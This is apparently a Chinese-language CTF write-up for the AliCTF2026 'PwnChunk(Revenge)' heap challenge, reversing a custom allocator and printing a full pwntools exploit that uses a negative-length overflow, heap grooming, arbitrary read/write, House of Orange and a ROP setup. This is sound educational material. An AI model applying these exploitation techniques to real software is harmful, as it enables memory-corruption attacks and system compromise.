AliCTF2026-PwnChunk(Revenge)

题目简介

阿里2026的一道堆题,采用的自定义堆管理器

哎哎,比赛时候逆向就花了一天半,最后漏洞点都没找到,因此叫Revenge

程序逆向

论坛逻辑部分

主程序是一个模拟论坛的功能,一共7个菜单选项,如下:


其中User类型定义如下:

1
2
3
4
5
6
7
struct User{
char user_name[32];
char email[64];
int age; 4字节
//4字节unused;
long long * profile; //指向8字节(qword)的指针
};

同时留言类型定义如下:

1
2
3
4
5
6
struct Comment{
char userName_[32]; //绑定的用户名,其实就一个,整个系统只允许存在一个用户
char* title_;
char* content_;
int favors;
}

堆管理器部分

主要是1个16块轮转的堆管理器,chunk头部固定0x18字节,采用双向链表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
struct MemNode {
uint32_t size; // chunk大小
int prevChunkAddr; // 前一个chunk的地址(用于合并)
MemNode *prev; // 双向链表:前一个节点
MemNode *next; // 双向链表:后一个节点
};

// LargeChunkHeader - 大块内存的头部
struct LargeChunkHeader {
uint32_t size;
LargeChunkHeader *prev;
LargeChunkHeader *next;
};

// MemRegion - 内存区域结构
struct MemRegion {
int regionSize; // 区域总大小
int dataSize; // 数据大小
MemNode *memNodeRootA; // MemNode根节点A
int dataStart; // 数据起始偏移
int dataEnd; // 数据结束偏移
MemRegion *pre; // 前一个区域
MemRegion *next; // 后一个区域
int isFree; // 是否空闲
int minSize; // 最小大小
MemNode firstNode; // 第一个节点(内嵌)
};

// MemoryPool - 主控制结构(类似main_arena)
struct MemoryPool {
MemRegion *accuracyMemRegionListActive[NUM_HEAPS]; // 16个活跃的内存区域
uint32_t idx; // 当前堆索引(用于循环分配)
};

自定义实现的malloc和glibc类似,如下:


对于My_malloc全部逆完不现实,只要知道该堆管理器采用的是仅一个空闲链表即可,每次分配时根据$rebase(0x5060)+128处的下标去对应MemRegion里best fit的堆块(可以理解为一个没有各种bins的ptmalloc)

同时free时,遍历16个MemRegion,找到被释放堆块所属region,然后进行合并,更新region根节点

结合之前菜单所列举的功能,我们重点分析每个功能对16片arena轮转时下标的影响(因为每次调用My_malloc时下标会+1)

对于用户类型,只要关注Add和Delete功能即可,其中Add功能在正常情况下会调用两次My_malloc:



对于留言类型,每次Add会调用三次My_malloc,同时值得注意的是在Add功能中的扩容逻辑,因为所有留言存在偏移0x50f8处的指针数组里,留言每增加10次数组扩容1次

更重要的,扩容也是整个程序里唯一合法调用My_free的地方

漏洞点定位

漏洞点在于自定义的malloc函数内部存在一个错误的类型转换,如图:


搭配AddUser函数中添加简介时的终止检查逻辑——不按长度检查,而是检查当前指针和终止指针是否相等:


因此只要简介长度输入负数,My__int_malloc依然可以返回一个正常的MemNode,但在输入简介内容时,只要不输入回车可以无限长度的溢出写

不过需要注意的是,在分配时如果对应下标的内存区域为空指针,会先创建对应的MemRegion,所以必须先把16个区域填满:

漏洞利用

整体思路

完整的利用分6步:

  1. 先去溢出某一个留言对应的结构体(记作x号留言),然后选择显示留言,可以泄露一个堆地址
  2. 在第1步中溢出的同时修改留言结构体里的标题指针的最后一字节,使其指向另一个留言对应的结构体(记作y号留言)
  3. 经过1、2以后,就拿到了一个无限次的任意地址读和任意地址写:通过x号留言的编辑功能,将y号留言的标题指针指向任意地址+y号留言的编辑和显示功能
  4. 修改top chunk的size字段,打一次House of Orange泄露libc地址
  5. 任意读libc.symbols[“environ”],算出main函数返回地址的栈
  6. 任意写main函数的返回地址,打rop

利用细节

上述步骤的难点在于1、2两步,因为该堆管理器是16片轮转的,需要非常精心的控制下标,具体需要满足下面的约束条件:

  1. x号留言的标题和y号留言本身是从同一个MemRegion分配得到(将这个MemRegion对应的下标记作target_)——保证x->title_和y仅最低字节不同
  2. 最终溢出时的简介必须在x号留言的低地址方向——具体将扩容时free的堆块申请回给用户简介使用,也就是说,扩容时合并回去的那个堆块所属的MemRegion,必须和分配用户简介时是同一个(记这个下标=reuse_)

    上述思路总结成图示如下:

    首先如上图所示,分配x->title_和分配y时,下标之差是16的整数倍,这样可以保证x的标题地址和y地址是从同一片MemRegion取出,仅最低字节不同

    当x取16,y取6对应的代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
AddUser(io)#开始2次
#溢出触发有条件:slot不能为空,arena不能为空,这里申请一堆16次、20次,只是为了-2能触发漏洞
#具体怎么凑到的:16次单申请,slot+16,15次三个三个申请,16+15*3=61
#在申请第16个评论的标题之前,一共有2(开始2次)+61+2(2次扩容,开始1次,content10的时候1次)+1=66次
#66%16=2,所以第16个评论的标题在申请时,slot在第2个arena
#第6个评论本身:2(开始的2次)+1(开始的1次扩容)+16+5*3+1=34,34%16=2,所以第6个评论的结构体在申请时,slot在第2个arena
for i in range(16):
AddMessage(io,title_len_=0x9000,title_=b"I don't want title,just padding",content_len_=0x9000,content_=b"I don't want content,just padding")
for i in range(20): #一通操作确保第16个评论的title和第6个评论的结构体申请到接近的位置(仅地址的最低字节不同)
#其中第11次发送留言时,会先扩容,此时原来的留言数组free后是放在第三个slot里合并
#算下此时的slot下标:2+1+16+10*3=49,49%16=1,第1个arena
#刚好前面算好了第16个留言本身在第1个arena,只要后面溢出的堆块是这次扩容出来的(记为master_chunk),就能任意写第16个留言本身
AddMessage(io,title_len_=0x100,title_=b"0x100_title"+str(i+1).encode(),content_len_=0x100,content_=b"0x100_content"+str(i+1).encode())

之后控制添加用户简介时取出的堆块在x留言前方,这里用了1次扩容时的free操作,先把满足条件的堆块合并回MemRegion,示意图如下:


图中表示的是reuse_下标对应的MemRegion随时间变化的大致过程,同样,当x=16,y=6时,对应的这部分代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for i in range(20): #一通操作确保第16个评论的title和第6个评论的结构体申请到接近的位置(仅地址的最低字节不同)
#其中第11次发送留言时,会先扩容,此时原来的留言数组free后是放在第三个slot里合并
#算下此时的slot下标:2+1+16+10*3=49,49%16=1,第1个arena
#刚好前面算好了第16个留言本身在第1个arena,只要后面溢出的堆块是这次扩容出来的(记为master_chunk),就能任意写第16个留言本身
AddMessage(io,title_len_=0x100,title_=b"0x100_title"+str(i+1).encode(),content_len_=0x100,content_=b"0x100_content"+str(i+1).encode())
#上面的事情干完后,这里填bio_len_=-2已经可以触发溢出了,接下来,想办法在DeleteUser时,申请到第6个评论的前面某个位置
DeleteUser(io) #仅置0,对管理器状态无影响
AddUser(io,bio_len_=0,bio_=b"I don't want bio,just padding") #slot+1
AddMessage(io,title_len_=0x100,title_=b'1'*16,content_len_=0x100,content_=b'2'*0x10) #slot+4,也是该步骤free掉了master_chunk

for i in range(11): #为了控制slot,+11次
AddMessage(io,title_len_=0x9000,title_=b"I don't want title,just padding",content_len_=0x9000,content_=b"I don't want content,just padding")
DeleteUser(io)
#开头2次申请,1次扩容,16+20*3=76次申请,20次申请中有1次扩容,1+4+11=16,总共2+1+76+1+16+1=97,97%16=1,在第1个arena;
#申请到了master_chunk
AddUser(io,bio_len_=-2,bio_=b'A'*0xa8+p32(0x50)+p32(0)+p64(0)*2+b'N'*0x20+b'\x68')

至此我们有了无限次的任意地址读和任意地址写,接下来首先泄露16号留言的标题指针

之后就是多次任意地址读写打House Of Orange——>泄露environ——>改main函数返回地址ret2libc

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from pwn import *
from optparse import OptionParser

parser = OptionParser()
parser.add_option("-m", "--mode", dest="mode", default="local")
(options, args) = parser.parse_args()

context(os="linux",arch="amd64")
context.terminal=['tmux','splitw','-h']
targetELF="./pwn"
elf=ELF(targetELF,checksec=False)
master_idx=16
slave_idx=6
libc=ELF("/home/k40/Pwn/Tools/glibc-all-in-one/libs/2.35-0ubuntu3.12_amd64/libc.so.6",checksec=False)

def Launch():
if options.mode=="local":
io=process(targetELF)
elif options.mode=="remote":
io=remote("1.95.148.179",8888)
elif options.mode=="debug":
context.log_level="debug"
io=gdb.debug(targetELF,gdbscript="source ./debug.gdb")
return io

#slot,从0-15轮转
#创建一个user, slot+2
def AddUser(io,user_name_=b"root",email_=b"mamba_out@ali.com",age_=104,bio_len_=77,bio_=b"1234567890"*5):
io.sendlineafter("选择功能: ",b'1'+b'\x00')
io.sendlineafter("用户名: ",user_name_)
io.sendlineafter("邮箱: ",email_)
io.sendlineafter("年龄: ",str(age_).encode()+b'\x00')
io.sendlineafter("个人简介长度: ",str(bio_len_).encode()+b'\x00')
if bio_!=b"I don't want bio,just padding":
io.sendlineafter("个人简介: ",bio_)
io.recvuntil("[+] 用户信息创建成功")

def DeleteUser(io):
io.sendlineafter("选择功能: ",b'2'+b'\x00')
io.recvuntil("[+] 用户信息删除成功")

def ShowUser(io):
io.sendlineafter("选择功能: ",b'3'+b'\x00')
io.recvuntil("=== 显示用户信息 ===")
io.recvuntil("用户名: ")
user_name_=io.recvline(keepends=False)
io.recvuntil("邮箱: ")
email_=io.recvline(keepends=False)
io.recvuntil("年龄: ")
age_=io.recvline(keepends=False)
io.recvuntil("个人简介: ")
bio_=io.recvline(keepends=False)
return user_name_,email_,age_,bio_
#发一次message, slot+3
def AddMessage(io,title_len_,title_,content_len_,content_):
io.sendlineafter("选择功能: ",b'4'+b'\x00')
io.sendlineafter("留言标题长度: ",str(title_len_).encode()+b'\x00') #必定会执行的:添加评论结构体,slot+1
if title_!=b"I don't want title,just padding": #真的添加标题,slot+1
io.sendlineafter("留言标题: ",title_)
io.sendlineafter("留言内容长度: ",str(content_len_).encode()+b'\x00')
if content_!=b"I don't want content,just padding": #真的添加内容:slot+1
io.sendlineafter("留言内容: ",content_)

def ShowMessage(io):
io.sendlineafter("选择功能: ",b'5'+b'\x00')
io.recvuntil("=== 显示留言 ===")

def EditMessage(io,idx_,new_title_=b'A'*8,new_content_=b'B'*8):
io.sendlineafter("选择功能: ",b'7'+b'\x00')
io.recvuntil("输入要编辑的留言编号 (1-")
io.sendlineafter("): ",str(idx_).encode()+b'\x00')
io.sendlineafter("输入新的标题: ",new_title_)
io.sendlineafter("输入新的内容: ",new_content_)
io.recvuntil("[+] 留言编辑成功")

def ArbiRead(io,target_):
EditMessage(io,master_idx,new_title_=p64(target_))
ShowMessage(io)
io.recvuntil("--- 留言 6 ---")
io.recvuntil("标题: ")
return io.recvline(keepends=False)

def ArbiWrite(io,target_,value_):
EditMessage(io,master_idx,new_title_=p64(target_))
EditMessage(io,slave_idx,new_title_=value_)

def ExitPwn(io):
io.sendlineafter("选择功能: ",b'0'+b'\x00')
io.recvuntil("[+] 感谢使用,再见!")
io.interactive()

io=Launch()
AddUser(io)#开始2次
#溢出触发有条件:slot不能为空,arena不能为空,这里申请一堆16次、20次,只是为了-2能触发漏洞
#具体怎么凑到的:16次单申请,slot+16,15次三个三个申请,16+15*3=61
#在申请第16个评论的标题之前,一共有2(开始2次)+61+2(2次扩容,开始1次,content10的时候1次)+1=66次
#66%16=2,所以第16个评论的标题在申请时,slot在第2个arena
#第6个评论本身:2(开始的2次)+1(开始的1次扩容)+16+5*3+1=34,34%16=2,所以第6个评论的结构体在申请时,slot在第2个arena
for i in range(16):
AddMessage(io,title_len_=0x9000,title_=b"I don't want title,just padding",content_len_=0x9000,content_=b"I don't want content,just padding")
for i in range(20): #一通操作确保第16个评论的title和第6个评论的结构体申请到接近的位置(仅地址的最低字节不同)
#其中第11次发送留言时,会先扩容,此时原来的留言数组free后是放在第三个slot里合并
#算下此时的slot下标:2+1+16+10*3=49,49%16=1,第1个arena
#刚好前面算好了第16个留言本身在第1个arena,只要后面溢出的堆块是这次扩容出来的(记为master_chunk),就能任意写第16个留言本身
AddMessage(io,title_len_=0x100,title_=b"0x100_title"+str(i+1).encode(),content_len_=0x100,content_=b"0x100_content"+str(i+1).encode())
#上面的事情干完后,这里填bio_len_=-2已经可以触发溢出了,接下来,想办法在DeleteUser时,申请到第6个评论的前面某个位置
DeleteUser(io) #仅置0,对管理器状态无影响
AddUser(io,bio_len_=0,bio_=b"I don't want bio,just padding") #slot+1
AddMessage(io,title_len_=0x100,title_=b'1'*16,content_len_=0x100,content_=b'2'*0x10) #slot+4,也是该步骤free掉了master_chunk

for i in range(11): #为了控制slot,+11次
AddMessage(io,title_len_=0x9000,title_=b"I don't want title,just padding",content_len_=0x9000,content_=b"I don't want content,just padding")
DeleteUser(io)
#开头2次申请,1次扩容,16+20*3=76次申请,20次申请中有1次扩容,1+4+11=16,总共2+1+76+1+16+1=97,97%16=1,在第1个arena;
#申请到了master_chunk
AddUser(io,bio_len_=-2,bio_=b'A'*0xa8+p32(0x50)+p32(0)+p64(0)*2+b'N'*0x20+b'\x68')
ShowMessage(io)
io.recvuntil(b'N'*0x20)
heap_leak=u64(io.recv(6).ljust(8,b'\x00'))-0x20468
log.success("heap={}".format(hex(heap_leak)))
io.interactive()

top_chunk=heap_leak+0x100790
ArbiWrite(io,top_chunk+8,0x871) #House of Orange
DeleteUser(io)
AddUser(io,bio_len_=0xffa0,bio_=b"A\n")
libc.address=u64(ArbiRead(io,top_chunk+0x10).ljust(8,b'\x00'))-0x21ace0
log.success("libc_base={}".format(hex(libc.address)))

pop_rdi_ret=libc.address+0x2a3e5
ret_align_pad=libc.address+0x29139
ExitPwn(io)

AliCTF2026-PwnChunk(Revenge)
http://0x4a-210.github.io/2026/02/19/pwn刷题记录/比赛题解/AliCTF2026-PwnChunk(Revenge)/
Posted on
February 19, 2026
Licensed under